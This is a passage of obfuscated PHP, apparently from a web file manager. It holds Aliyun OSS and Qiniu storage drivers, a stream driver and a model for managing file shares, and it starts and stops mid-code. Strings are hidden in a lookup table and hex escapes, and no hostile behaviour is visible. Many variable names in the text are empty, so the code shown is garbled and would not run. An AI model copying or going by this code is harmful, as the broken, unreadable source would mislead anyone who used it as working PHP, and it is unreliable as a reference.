array(OSS\OssClient::OSS_SUB_RESOURCE => $[1498] . rawurlencode("{$ݛ}\73\x66\151\x6c\145\156\x61\155\145\75{$}")); $֛ޯ[OSS\OssClient::OSS_SUB_RESOURCE] .= $[1499] . rawurlencode($ݩ); $Êʼn = $this->link($, $֛ޯ); $this->fileOutLink($Êʼn); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $); } public function fileOutImage($, $Ҙ = 250) { if ($this->size($) > 1024 * 1024 * 20) { return $this->fileOutImageServer($, $Ҙ); } $ = array(OSS\OssClient::OSS_PROCESS => $_SERVER[ׇ][1460] . $Ҙ); $֟ = $this->link($, $); $this->fileOutLink($֟); } public function fileOutImageServer($֠, $ = 250) { parent::fileOutImage($֠, $); } public function fileOutLink($ԣ) { $ =& $_SERVER[ׇ]; if (!$this->isCdnHost() && substr($ԣ, 0, 7) == $[313]) { $ԣ = $[314] . substr($ԣ, 7); } header($[175] . $ԣ); die; } public function hashMd5($碆, $ꅅ = '') { $礜 =& $_SERVER[ׇ]; $䳧 = $this->_objectMeta($碆); if (!$䳧) { return $礜[12]; } if (!isset($䳧[$礜[1480]]) && !empty($ꅅ)) { $ = $this->updateObjMeta($碆, array($礜[1480] => $ꅅ)); $䳧[$礜[1480]] = $ ? $ꅅ : $礜[12]; } return isset($䳧[$礜[1480]]) ? strtolower($䳧[$礜[1480]]) : $礜[12]; } public function size($ޯܗ) { $Ҩ = $this->objectMeta($ޯܗ); return $Ҩ ? $Ҩ[$_SERVER[ׇ][79]] : 0; } public function info($ڛӀ) { if ($this->isFolder($ڛӀ)) { return $this->folderInfo($ڛӀ); } else { if ($this->isFile($ڛӀ)) { return $this->fileInfo($ڛӀ); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($ɧ) { return $this->cacheMethod($_SERVER[ׇ][179], $ɧ); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[ׇ][181], $); } protected function _objectMeta($؂ܲ) { $ =& $_SERVER[ׇ]; try { $Ɗ = $this->client->getObjectMeta($this->bucket, $this->pathEncode($؂ܲ)); } catch (OSS\Core\OssException $) { $this->writeLog(__FUNCTION__ . $[214] . $->getMessage()); $Ɗ = !1; } if ($Ɗ) { $Ɗ[$[79]] = intval($Ɗ[$[1478]]); } return $Ɗ; } protected function _isFolder($) { $ =& $_SERVER[ׇ]; if ($ == $[12] || $ == $[8]) { return !0; } $預 = array($[1473] => $[8], $[1474] => rtrim($, $[8]) . $[8], $[1475] => 1, $[1476] => $[12]); $ب = $this->client->listObjects($this->bucket, $預); if ($ب->getObjectList() || $ب->getPrefixList()) { return !0; } return !1; } public function writeLog($ = '', $ȃ = false) { $ߣ =& $_SERVER[ׇ]; $ = in_array(ACTION, array($ߣ[212], $ߣ[213])); if (!$ && !GLOBAL_DEBUG) { return; } $Ä = 0; if (stripos($, $ߣ[1500]) !== !1) { $Ä = 1; $ = explode($ߣ[1501], $); $ = !empty($[1]) ? $[1] : $; } else { if (stripos($, $ߣ[1502])) { $Ä = 2; $ = explode($ߣ[1502], $); $ = explode($ߣ[4], $[0]); $ = !empty($[1]) ? $[1] : $; } } if ($ && I18n::getType() == $ߣ[1503]) { if ($Ä == 1) { $ = str_replace($ߣ[1504], $ߣ[1505], $); } else { if ($Ä == 2) { $ = explode($ߣ[214], $[0]); $庛 = isset($[1]) ? $[1] : $ߣ[12]; $ՙ = array($ߣ[1506] => $ߣ[1507], $ߣ[1508] => $ߣ[1509], $ߣ[1510] => $ߣ[1511], $ߣ[1512] => $ߣ[1513], $ߣ[1514] => $ߣ[1515], $ߣ[1516] => $ߣ[1517], $ߣ[1518] => $ߣ[1519], $ߣ[1520] => $ߣ[1521], $ߣ[1522] => $ߣ[1523], $ߣ[1524] => $ߣ[1525]); if (isset($ՙ[$庛])) { $ = $ՙ[$庛]; } } } if (stripos($, $ߣ[1526])) { $ = $ߣ[1527]; } } if (!trim($)) { return; } parent::writeLog(trim($), $ȃ); } } class PathDriverQiniu extends PathDriverBase { protected $accessKey = ''; protected $secret = ''; protected $domain = ''; protected $region = ''; protected $bucket = ''; protected $auth = null; protected $client = null; protected $bucketManager = null; public $ioUploadServer = "\x30"; public $ioFileOutServer = "\x30"; public $config = array(); public function __construct($) { parent::__construct(); require_once SDK_DIR . $_SERVER[ׇ][1528]; $this->_init($); } public function _init($ڌ) { $× =& $_SERVER[ׇ]; $this->config = $ڌ; foreach ($ڌ as $ޅҐ => $ħԟ) { if (isset($this->{$ޅҐ})) { $this->{$ޅҐ} = $ħԟ; } } if (empty($this->accessKey) || empty($this->secret) || empty($this->domain)) { throw new Exception($×[1529] . LNG($×[1464])); } $this->auth = new Qiniu\Auth($this->accessKey, $this->secret); $this->client = new Qiniu\Rtc\AppClient($this->auth); $this->configView = new \Qiniu\Config(); $this->bucketManager = new \Qiniu\Storage\BucketManager($this->auth, $this->configView); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function mkfile($噺, $ = '', $Ё = REPEAT_RENAME) { if ($this->setContent($噺, $)) { return $this->getPathOuter($噺); } return !1; } public function mkdir($˼, $㶺 = REPEAT_SKIP) { $ =& $_SERVER[ׇ]; $ = trim($˼, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $˼ = $ . $[8]; $ = get_path_this($); $ž = $˼ . $; if (!$this->mkfile($ž)) { return !1; } if (!$this->moveFile($ž, $˼)) { $this->delFile($ž); return !1; } return $this->getPathOuter($); } public function copyFile($Π, $) { $唈 = $this->bucketManager->copy($this->bucket, $Π, $this->bucket, $, !0); return $唈 ? !1 : $this->getPathOuter($); } public function moveFile($, $ߚê) { $ß = $this->bucketManager->move($this->bucket, $, $this->bucket, $ߚê, !0); return $ß ? !1 : $this->getPathOuter($ߚê); } public function delFile($󊍥) { if (!$this->exist($󊍥)) { return !0; } $ = $this->bucketManager->delete($this->bucket, $󊍥); return $ ? !1 : !0; } public function delFolder($) { $λȷ =& $_SERVER[ׇ]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $Ȧ = $this->fileList($); $this->listItemCache = !0; $ = trim($, $λȷ[8]) . $λȷ[8]; if (!empty($) && $ !== $λȷ[228] && !in_array($, $Ȧ[$λȷ[85]])) { $Ȧ[$λȷ[85]][] = $; } $ = $this->delByBatch($Ȧ[$λȷ[86]]); if (!$) { return !1; } $ = $this->delByBatch($Ȧ[$λȷ[85]]); if (!$) { return !1; } return $this->delFile($); } private function delByBatch($ֿ̔) { foreach (array_chunk($ֿ̔, 1000) as $) { $ÿ = $this->bucketManager->buildBatchDelete($this->bucket, $); list($, $) = $this->bucketManager->batch($ÿ); if ($) { return !1; } } return !0; } public function rename($խ, $) { return $this->renameObject($խ, $); } public function fileInfo($䋈, $ϟ = false, $ϡх = array()) { $ =& $_SERVER[ׇ]; $ = array($[32] => $this->pathThis($䋈), $[87] => $this->getPathOuter($[8] . $䋈), $[33] => $[230], $[79] => isset($ϡх[$[1530]]) ? $ϡх[$[1530]] : 0, $[169] => $this->ext($䋈)); if ($ϟ) { return $; } $[$[231]] = $[$[88]] = 0; $[$[232]] = $[$[233]] = !0; if (empty($ϡх)) { $ϡх = $this->objectMeta($䋈); if (!$ϡх) { return $; } } if (isset($ϡх[$[234]]) && $ϡх[$[234]]) { $[$[235]] = $ϡх[$[234]]; } if (isset($ϡх[$[245]]) && $ϡх[$[245]]) { $[$[235]] = $ϡх[$[245]]; } if (isset($ϡх[$[1531]])) { $[$[88]] = substr($ϡх[$[1531]] . $[12], 0, 10); } if (isset($ϡх[$[1530]])) { $[$[79]] = $ϡх[$[1530]]; } return $; } public function folderInfo($᛿, $ܓ譖 = false) { $ =& $_SERVER[ׇ]; $Ԏ = array($[32] => $this->pathThis($᛿), $[87] => $this->getPathOuter($[8] . $᛿), $[33] => $[78]); if ($ܓ譖) { return $Ԏ; } $Ԏ[$[231]] = $Ԏ[$[88]] = 0; $Ԏ[$[232]] = $Ԏ[$[233]] = !0; $᛿ = rtrim($᛿, $[8]) . $[8]; $Ɓ = $this->objectMeta($᛿); if (isset($Ɓ[$[1531]])) { $Ԏ[$[88]] = substr($Ɓ[$[1531]] . $[12], 0, 10); } return $Ԏ; } public function listPath($, $™ = false) { $様 =& $_SERVER[ׇ]; $DZ = $this->fileList($, $様[8], !0); foreach ($DZ[$様[85]] as $ލ => $Ф) { $DZ[$様[85]][$ލ] = $this->folderInfo($Ф, $™); } foreach ($DZ[$様[86]] as $ލ => $Ф) { $DZ[$様[86]][$ލ] = $this->fileInfo($Ф[$様[97]], $™, $Ф); } return $DZ; } public function has($, $վ = false, $ = true) { $ =& $_SERVER[ׇ]; $ = trim($, $[8]); $ѧ = empty($) && $ !== $[228] ? $[12] : $ . $[8]; $ɘ = $[12]; $ = 500; $ = $[8]; $譻 = $ = 0; while (!0) { check_abort(); list($æ, $) = $this->bucketManager->listFiles($this->bucket, $ѧ, $ɘ, $, $); if ($) { break; } $ɘ = array_key_exists($[1476], $æ) ? $ɘ = $æ[$[1532]] : $[12]; if ($վ) { if (!empty($æ[$[1533]])) { $譻 += count($æ[$[1533]]); } if (!empty($æ[$[1534]])) { $ += count($æ[$[1534]]); } if ($ɘ === $[12]) { break; } continue; } if ($) { if (!empty($æ[$[1533]])) { return !0; } } else { if (!empty($æ[$[1534]])) { return !0; } } if ($ɘ === $[12]) { break; } } if ($վ) { return array($[239] => $譻, $[240] => $); } return !1; } public function listAll($) { $״ =& $_SERVER[ׇ]; $ԓ = $this->fileList($, $״[12], !0); $ٺ = array_to_keyvalue($ԓ[$״[86]], $״[32]); foreach ($ԓ[$״[85]] as $) { if (is_string($)) { $ٺ[$] = array($״[79] => 0); } } return $this->listAllFiles($, $ٺ); } private function fileList($, $ = '', $ㄠ = 0) { $ =& $_SERVER[ׇ]; $ = trim($, $[8]); $ = empty($) && $ !== $[228] ? $[12] : $ . $[8]; $ן = $[12]; $ = 1000; $뀛 = $ӧ = array(); while (!0) { check_abort(); list($, $ٔ) = $this->bucketManager->listFiles($this->bucket, $, $ן, $, $); if ($ٔ) { break; } $ן = array_key_exists($[1476], $) ? $ן = $[$[1532]] : $[12]; $ۛ׮ = isset($[$[1533]]) ? $[$[1533]] : array(); $˛ = isset($[$[1534]]) ? $[$[1534]] : array(); foreach ($ۛ׮ as $ύ) { if ($ύ[$[97]] == $) { continue; } $ = $ύ[$[97]]; $֫ = $ύ[$[1530]]; $ύ[$[79]] = $֫; $ = $֫ == 0 && substr($, strlen($) - 1, 1) == $[8] ? !0 : !1; $this->cacheMethodInfoSet($, $, $ύ); if ($) { $뀛[] = $; continue; } $ӧ[] = $ㄠ ? $ύ : $; } foreach ($˛ as $) { if ($ == $) { continue; } $뀛[] = $; $this->cacheMethodInfoSet($, !0); } if ($ן === $[12]) { break; } } $this->cacheMethodInfoSet($, !0); return array($[85] => $뀛, $[86] => $ӧ); } public function canRead($̌) { return $this->exist($̌) ? !0 : !1; } public function canWrite($ě) { return $this->exist($ě) ? !0 : !1; } public function getContent($Ó) { return $this->fileSubstr($Ó, 0, -1); } public function setContent($ߠ, $ = '') { $Ѧ = $this->tempFile($this->pathThis($ߠ)); file_put_contents($Ѧ, $); if ($this->upload($ߠ, $Ѧ)) { $this->tempFileRemve($Ѧ); return !0; } return !1; } public function refreshUrls($녹) { $ﻋ =& $_SERVER[ׇ]; $Ďʶ = array(); if (is_array($녹)) { foreach ($녹 as $Թ) { $Ďʶ[] = $this->link($Թ); } } else { $Ďʶ[] = $this->link($녹); } $̯ = new Qiniu\Cdn\CdnManager($this->auth); list($ɹ֜, $ѕ) = $̯->refreshUrls($Ďʶ); if ($ѕ) { return !1; } return $ɹ֜[$ﻋ[1264]] == $ﻋ[832] ? !0 : !1; } public function fileSubstr($֘, $̓ѱ, $Ҹ) { $Ś =& $_SERVER[ׇ]; if (!($ᠫ = $this->link($֘))) { return !1; } $·؀ = !1; if ($Ҹ > 0) { $ά = $̓ѱ + $Ҹ - 1; $·؀ = array($Ś[1535] . $̓ѱ . $Ś[462] . $ά); } $ഝ = url_request($ᠫ, $Ś[261], !1, $·؀); return $ഝ[$Ś[823]] ? $ഝ[$Ś[1287]] : !1; } public function upload($, $ה, $ = false, $뾗 = REPEAT_REPLACE) { $՗ = new Qiniu\Storage\UploadManager(); $ = $this->auth->uploadToken($this->bucket, $); $ = get_file_mime(get_path_ext($ה)); list($긋, $) = $՗->putFile($, $, $ה, null, $); return $ ? !1 : $this->getPathOuter($); } public function uploadFormData($󄨉, $ժ = 3600) { return $this->uploadToken($󄨉, $ժ); } public function multiUploadFormData($Ďˈ, $ = 3600) { return $this->uploadToken($Ďˈ, $); } private function uploadToken($鄁, $̾ = 3600) { $ꓭ =& $_SERVER[ׇ]; $ = $̾; $ = array($ꓭ[1536] => $ꓭ[1537]); $ߍᗋ = $鄁; $ֈ = $this->auth->uploadToken($this->bucket, $ߍᗋ, $, $, !0); $瞛 = empty($this->region) || $this->region == $ꓭ[1538] ? $ꓭ[12] : $ꓭ[462] . $this->region; $ц = http_type() . "\x3a\x2f\57\x75\160\154\157\141\144{$瞛}\x2e\161\151\156\151\x75\160\x2e\143\x6f\x6d\x2f"; return array($ꓭ[1539] => $ֈ, $ꓭ[1540] => $ц); } public function download($㮏, $ɮ) { $ʈ = IO::getPathInner(IO::mkfile($ɮ)); if (!($ = $this->link($㮏))) { return !1; } $н = 0; $ = 1024 * 200; $ԩ = fopen($ʈ, $_SERVER[ׇ][1541]); while (!0) { $革 = $this->fileSubstr($㮏, $н, $); if ($革 === !1) { return !1; } fwrite($ԩ, $革); $н += $; if (strlen($革) < $) { break; } } fclose($ԩ); return $ɮ; } public function link($믯, $‹ = '') { if (!$this->isFile($믯)) { return !1; } $ɛה = $this->getHost() . $_SERVER[ׇ][8] . $this->pathEncode($믯) . $‹; return $this->auth->privateDownloadUrl($ɛה, 3600 * 12); } public function fileOut($, $к = false, $񔜎 = false, $˘ = '') { $י =& $_SERVER[ׇ]; if ($this->isFileOutServer()) { return $this->fileOutServer($, $к, $񔜎, $˘); } if (!$񔜎) { $񔜎 = $this->pathThis($); } $ = $к ? $י[1542] . rawurlencode($񔜎) : $י[12]; $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($ޮ׺, $ = false, $マε = false, $ = '') { parent::fileOut($ޮ׺, $, $マε, $); } public function fileOutImage($, $ = 250) { if ($this->size($) > 1024 * 1024 * 20) { return $this->fileOutImageServer($, $); } $ʱ = $this->link($, $_SERVER[ׇ][1543] . $); $this->fileOutLink($ʱ); } public function fileOutImageServer($޲, $ɱ = 250) { parent::fileOutImage($޲, $ɱ); } public function hashMd5($) { $ܡ =& $_SERVER[ׇ]; $ɊƸ = $this->objectMeta($); return isset($ɊƸ[$ܡ[245]]) ? $ɊƸ[$ܡ[245]] : !1; $ = $this->link($, $ܡ[1544]); } public function size($ٕܮ) { $ = $this->objectMeta($ٕܮ); return $ ? $[$_SERVER[ׇ][79]] : 0; } public function info($̽) { if ($this->isFolder($̽)) { return $this->folderInfo($̽); } else { if ($this->isFile($̽)) { return $this->fileInfo($̽); } } return !1; } public function exist($݇) { return $this->isFile($݇) || $this->isFolder($݇); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($ާ) { return $this->cacheMethod($_SERVER[ׇ][179], $ާ); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[ׇ][181], $); } protected function _objectMeta($㻴) { $ =& $_SERVER[ׇ]; list($, $) = $this->bucketManager->stat($this->bucket, $㻴); if ($) { $[$[79]] = intval($[$[1530]]); } return $; } protected function _isFolder($ϛ) { $ģ =& $_SERVER[ׇ]; if ($ϛ == $ģ[12] || $ϛ == $ģ[8]) { return !0; } list($, $덙) = $this->bucketManager->listFiles($this->bucket, trim($ϛ, $ģ[8]) . $ģ[8], $ģ[12], 1, $ģ[8]); return !empty($[$ģ[1533]]) || !empty($[$ģ[1534]]) ? !0 : !1; } } class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($쾞, $ = 0) { parent::__construct(); $this->source = $쾞; $this->sourceSize = $; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($כ = false, $р = 0, $ͲΧ = 0) { if (!$ͲΧ) { $ͲΧ = $this->sourceSize; } $Ҭ = $this->sourceSize - $р; if ($ͲΧ >= $Ҭ) { $ͲΧ = $Ҭ; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $р, $ͲΧ); } if ($this->sourceType == self::TYPE_FILE) { if ($ͲΧ <= 0) { return $_SERVER[ׇ][12]; } $ѩي = ftell($this->source); fseek_64($this->source, $ѩي + $р); $ = @fread($this->source, $ͲΧ); fseek_64($this->source, $ѩي); return $; } } public function hashMd5($ = false) { return md5($this->getContent()); } public static function hash($, $羂 = 0) { $ = new PathDriverStream($, $羂); return $->hashSimple($); } public static function md5($ӫ, $ = 0) { $ = new PathDriverStream($ӫ, $); return $->hashMd5($ӫ); } } goto Bñš; A҅: class ShareModel extends ModelBase { protected $tableName = "\x73\150\141\162\145"; protected $dataAuto = array(array("\155\157\144\x69\x66\171\124\x69\x6d\145", "\164\151\155\145", "\151\x6e\x73\x65\162\x74\x2c\165\160\144\x61\x74\x65", "\146\x75\x6e\143\164\x69\157\156"), array("\x63\x72\x65\x61\164\145\124\x69\155\x65", "\x74\151\x6d\145", "\x69\x6e\163\145\162\x74", "\x66\165\156\x63\x74\151\157\156"), array("\157\x70\x74\151\x6f\156\x73", '', "\x69\156\x73\145\x72\164\54\165\x70\144\141\164\x65\54\163\145\x6c\x65\143\164", "\x6a\x73\157\156")); private $fieldList = "\x2a"; protected function cacheFunctionAlias($) { $״͇ =& $_SERVER[ׇ]; $ޟ = isset($[0]) ? $[0] : !1; return array($״͇[2114] => array(USER_ID, $״͇[2115]), $״͇[2055] => array($ޟ, $״͇[2116])); } protected function listSimple() { $ = array($_SERVER[ׇ][1772] => USER_ID); $ = $this->field($this->fieldList)->where($)->select(); return $ ? $ : array(); } protected function getInfo($Ɍ, $ = false) { $ݱ =& $_SERVER[ׇ]; if ($) { return $this->_getShareInfo(array($ݱ[665] => $Ɍ)); } $ӯ = $this->cacheFunctionGet($ݱ[2057], $Ɍ); return $ӯ; } public function getInfoByHash($İ͜) { return $this->_getShareInfo(array($_SERVER[ׇ][2117] => $İ͜)); } public function getInfoByPath($Ƒ) { $ۭ殄 =& $_SERVER[ׇ]; $ݪג = array($ۭ殄[1772] => USER_ID, $ۭ殄[193] => $Ƒ); return $this->_getShareInfo($ݪג); } public function getInfoBySourcePath($֏) { $ =& $_SERVER[ׇ]; $էޤ = array($[1772] => USER_ID, $[1257] => $֏); return $this->_getShareInfo($էޤ); } private function _getShareInfo($֋) { $ =& $_SERVER[ׇ]; $ = $this->where($֋)->find(); if (!$) { return !1; } $֋ = array($[665] => $[$[665]]); $ = $[2118]; $Ԟ٦ = Model($[666])->order($[475])->field($)->where($֋)->select(); if ($[$[193]] == $[228]) { $[$[90]] = IO::info($[$[1257]]); } else { $[$[90]] = Model($[1420])->pathInfo($[$[193]]); } $[$[2119]] = $Ԟ٦; return $; } protected function getInfoAuth($¸) { $ =& $_SERVER[ׇ]; $톒 = $this->getInfo($¸); if ($톒[$[1772]] == USER_ID) { $톒[$[487]] = $톒[$[90]][$[487]]; } else { $톒[$[487]] = Model($[567])->authMake($톒[$[2119]]); } return $톒; } protected function listData($Ҏ֚ = null, $ծ = 300) { $̸DZ =& $_SERVER[ׇ]; $ = array(array($̸DZ[562] => array($̸DZ[1090], 0), $̸DZ[663] => array($̸DZ[1090], 0), $̸DZ[2120] => $̸DZ[2073])); if ($Ҏ֚ == $̸DZ[2121]) { $ = array($̸DZ[562] => 1); } else { if ($Ҏ֚ == $̸DZ[1242]) { $ = array($̸DZ[663] => 1); } } $[$̸DZ[1772]] = USER_ID; $ȑ = $this->where($)->selectPage($ծ); return $ȑ; } protected function listToMe($ = 300) { $բ =& $_SERVER[ׇ]; $ק = Model($բ[2122])->userGroupParents(USER_ID); $Α = array($բ[648] => SourceModel::TYPE_USER, $բ[569] => USER_ID); if ($ק) { $Α = array(array($բ[648] => SourceModel::TYPE_USER, $բ[569] => USER_ID), array($բ[648] => SourceModel::TYPE_GROUP, $բ[569] => array($բ[7], $ק)), $բ[2120] => $բ[2073]); } $ = Model($բ[666])->where($Α)->selectPage($); $Ѽ = array_to_keyvalue_group($[$բ[445]], $բ[665]); if (!$Ѽ) { return $; } $薈 = $բ[2123]; $Α = array($բ[665] => array($բ[492], array_keys($Ѽ)), $բ[1772] => array($բ[1092], $բ[228])); $ = $this->field($薈)->where($Α)->select(); foreach ($ as $Ô => &$೉) { $೉[$բ[2119]] = $Ѽ[$೉[$բ[665]]]; } unset($೉); $ = array($բ[2124] => $, $բ[2125] => $[$բ[442]]); return $; } protected function shareAdd($ˣâ, $㚴) { $ŵ =& $_SERVER[ׇ]; $ɳԪ = $this->_addShareData($ˣâ, $㚴); if (!empty($㚴[$ŵ[2126]])) { $this->_shareAuthSet($ɳԪ, $㚴[$ŵ[2126]]); } $this->shareEventAdd($ˣâ, $㚴, $ŵ[2127]); return $ɳԪ; } protected function shareAddSystem($ʳ, $™) { $Êۑ =& $_SERVER[ׇ]; $ = $this->_addShareData($ʳ, $™, $Êۑ[191]); $this->_shareAuthSet($, $™[$Êۑ[2126]]); return $; } private function shareEventAdd($, $ɫ, $ = "\x61\x64\144") { $׼ =& $_SERVER[ׇ]; if (!$ || $ == $׼[228]) { return; } if ($ == $׼[2127]) { if ($ɫ[$׼[562]] == $׼[91]) { Model($׼[633])->eventShare($, $׼[2128]); } if ($ɫ[$׼[663]] == $׼[91]) { Model($׼[633])->eventShare($, $׼[2129]); } return; } $ = $this->getInfoByPath($); $ރȜ = $׼[2130]; if ($[$׼[562]] == $׼[228] && $ɫ[$׼[562]] == $׼[91]) { $ރȜ = $׼[2128]; } if ($[$׼[562]] == $׼[91] && $ɫ[$׼[562]] == $׼[228]) { $ރȜ = $׼[2131]; } if ($[$׼[663]] == $׼[228] && $ɫ[$׼[663]] == $׼[91]) { $ރȜ = $׼[2129]; } if ($[$׼[663]] == $׼[91] && $ɫ[$׼[663]] == $׼[228]) { $ރȜ = $׼[2132]; } Model($׼[633])->eventShare($, $ރȜ); return; } private function _addShareData($ҩ, $ = array(), $ߩ = false) { $ל =& $_SERVER[ׇ]; $ߧб = $ߩ == $ל[191] ? 0 : USER_ID; $ = array($ל[491] => $ҩ, $ל[1763] => $ߧб); if ($ҩ == 0) { $ = array($ל[2133] => $[$ל[1257]], $ל[1763] => $ߧб); } if ($Ň = $this->where($)->find()) { return $Ň[$ל[665]]; } if ($ҩ == 0) { $ͨ = array($ל[32] => get_path_this($[$ל[87]])); } else { $ͨ = Model($ל[897])->sourceInfo($ҩ); if (!$ͨ) { return !1; } } if (!$[$ל[1661]]) { $[$ל[1661]] = $ͨ[$ל[32]]; } $ = array($ל[1763] => $ߧб, $ל[491] => $ҩ, $ל[1661] => $ל[12], $ל[562] => 0, $ל[663] => 0, $ל[1257] => $ל[12], $ל[383] => $ל[12], $ל[967] => $ל[12], $ל[2134] => 0, $ל[2135] => 0, $ל[834] => 0, $ל[2136] => $ל[12], $ל[2117] => $ל[12]); $ = explode($ל[50], $ל[2137]); foreach ($ as $ի) { if (!isset($[$ի])) { continue; } $[$ի] = $[$ի]; } $ɾ = $this->add($); $ = array($ל[2117] => short_id($ɾ)); $this->where(array($ל[2138] => $ɾ))->save($); return $ɾ; } private function _shareAuthSet($؏ۛ, $Ө) { $܋ =& $_SERVER[ׇ]; if (!is_array($Ө)) { return !1; } $ = Model($܋[2083]); $->where(array($܋[665] => $؏ۛ))->delete(); $͛ә = array(); foreach ($Ө as $ɜ) { $ = SourceModel::TYPE_USER; if ($ɜ[$܋[190]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $؟ = array($܋[665] => $؏ۛ, $܋[190] => $, $܋[569] => intval($ɜ[$܋[569]]), $܋[2079] => 0, $܋[2139] => -1); if ($ɜ[$܋[2079]]) { $؟[$܋[2079]] = $ɜ[$܋[2079]]; } else { if ($ɜ[$܋[2139]]) { $؟[$܋[2139]] = $ɜ[$܋[2139]]; } } $͛ә[] = $؟; } return $->addAll($͛ә, array(), !0); } public function numViewAdd($ݦ) { $ =& $_SERVER[ׇ]; $ = array($[2138] => $ݦ); $this->where($)->setAdd($[2134]); } public function numDownloadAdd($ږ) { $ =& $_SERVER[ׇ]; $᭱ = array($[2138] => $ږ); $this->where($᭱)->setAdd($[2135]); } protected function shareEdit($», $ݪ) { $ =& $_SERVER[ׇ]; $ܛ = $this->getInfo($»); if (!$ܛ) { return !1; } $this->_checkLinkShare($ݪ, $ܛ); $ = array(); $ޘ = explode($[50], $[2140]); foreach ($ޘ as $ɕ̤) { if (!array_key_exists($ɕ̤, $ݪ)) { continue; } $[$ɕ̤] = $ݪ[$ɕ̤]; } $this->shareEventAdd($ܛ[$[193]], $ݪ, $[1940]); $this->where(array($[2138] => $»))->save($); if (isset($ݪ[$[2126]])) { $this->_shareAuthSet($», $ݪ[$[2126]]); } return !0; } private function _checkLinkShare($ϋ, $) { $ԋ =& $_SERVER[ׇ]; if ($ϋ[$ԋ[562]] != $ԋ[91]) { return; } $ = $[$ԋ[90]][$ԋ[193]]; if ($[$ԋ[90]][$ԋ[33]] != $ԋ[230]) { $ƅ = $this->_folderReport($); if (!$ƅ) { return; } show_json(LNG($ԋ[2141]) . $ԋ[2142] . $ƅ, !1); } $ْ = Model($ԋ[897])->fileInfoGet($[$ԋ[90]][$ԋ[193]]); if (!$ْ) { return; } $ڿݼ = $this->shareFileMeta($ْ[$ԋ[541]]); if (isset($ڿݼ[$ԋ[450]]) && $ڿݼ[$ԋ[450]] == $ԋ[91]) { show_json(LNG($ԋ[2143]), !1); } } private function _folderReport($) { $ =& $_SERVER[ׇ]; $ = array($[541] => array($[1090], 0), $[823] => 3); $԰ٴ = Model($[2144])->where($)->field($[541])->select(); if (!$԰ٴ) { return !1; } $԰ٴ = array_to_keyvalue($԰ٴ, $[12], $[541]); $ = $[50] . $ . $[50]; $ = array($[541] => array($[7], $԰ٴ), $[584] => array($[459], "\x25{$}\x25"), $[505] => 0); $ = Model($[897])->where($)->field($[2145])->find(); if (!$) { return !1; } $ɉ = substr($[$[584]], strpos($[$[584]], $)); $ = array($[193] => array($[7], trim($ɉ, $[50]))); $ = Model($[897])->where($)->field($[32])->select(); $ = array_to_keyvalue($, $[12], $[32]); $[] = $[$[32]]; return implode($[8], $); } protected function remove($ӿ) { $ =& $_SERVER[ׇ]; $Ą榱 = is_array($ӿ) ? $ӿ : array($ӿ); for ($Ѽ£ = 0; $Ѽ£ < count($Ą榱); $Ѽ£++) { $ޯ = $this->getInfo($Ą榱[$Ѽ£]); if ($ޯ[$[663]] == $[91]) { Model($[633])->eventShare($ޯ[$[193]], $[2132]); } if ($ޯ[$[562]] == $[91]) { Model($[633])->eventShare($ޯ[$[193]], $[2131]); } } if (is_array($ӿ)) { $ӿ = array($[7], $ӿ); } $ = array($[665] => $ӿ); $Ʃ = $this->where($)->delete(); if ($Ʃ) { Model($[666])->where(array($[665] => $ӿ))->delete(); } return $Ʃ; } protected function removeBySource($ԅ) { $ƍ =& $_SERVER[ׇ]; $ש = array($ƍ[491] => array($ƍ[492], $ԅ)); $ = $this->field($ƍ[665])->where($ש)->select(); $ = array_to_keyvalue($, $ƍ[12], $ƍ[665]); if (!$) { return; } $ש = array($ƍ[2138] => array($ƍ[492], $)); $this->where($ש)->delete(); Model($ƍ[666])->where($ש)->delete(); } public function listAll($끃) { $ʅ =& $_SERVER[ׇ]; $ق = array(); if ($끃[$ʅ[1772]]) { $ق[$ʅ[1772]] = $끃[$ʅ[1772]]; } if ($끃[$ʅ[833]]) { $ޮ = $끃[$ʅ[834]] ? $끃[$ʅ[834]] : strtotime(date($ʅ[2146])); $ق[$ʅ[231]] = array($ʅ[409], array($끃[$ʅ[833]], $ޮ)); } if ($끃[$ʅ[33]]) { $ق[$끃[$ʅ[33]]] = 1; } else { $ق[] = array($ʅ[562] => array($ʅ[1090], 0), $ʅ[663] => array($ʅ[1090], 0), $ʅ[2120] => $ʅ[2073]); } if ($끃[$ʅ[2069]]) { $ق[] = array($ʅ[2117] => $끃[$ʅ[2069]], $ʅ[1661] => array($ʅ[459], "\45{$끃[$ʅ[2069]]}\x25"), $ʅ[2120] => $ʅ[2073]); } $ߴ = $this->_makeOrder()->where($ق)->selectPage(20); if (empty($ߴ[$ʅ[445]])) { return array(); } $this->_listDataApply($ߴ[$ʅ[445]]); return $ߴ; } public function listDataApply($ސ) { $this->_listDataApply($ސ); return $ސ; } private function _listDataApply(&$Ϻ) { $޲ =& $_SERVER[ׇ]; $靯 = array_to_keyvalue($Ϻ, $޲[12], $޲[1772]); $ = Model($޲[598])->userListInfo(array_unique($靯)); $ = array_to_keyvalue($Ϻ, $޲[12], $޲[193]); $ = Model($޲[897])->sourceListInfo($, !0); foreach ($Ϻ as $ => &$) { $υ = $[$޲[1772]]; $[$޲[2147]] = $[$υ] ? $[$υ] : !1; $ = $[$޲[193]]; $[$޲[90]] = $[$] ? $[$] : !1; if ($[$޲[90]][$޲[505]] == $޲[91]) { unset($Ϻ[$]); } if ($[$޲[90]] != $޲[228] && !$[$޲[90]]) { unset($Ϻ[$]); } } unset($); $Ϻ = array_values($Ϻ); } private function _makeOrder($ = '') { $ˮ =& 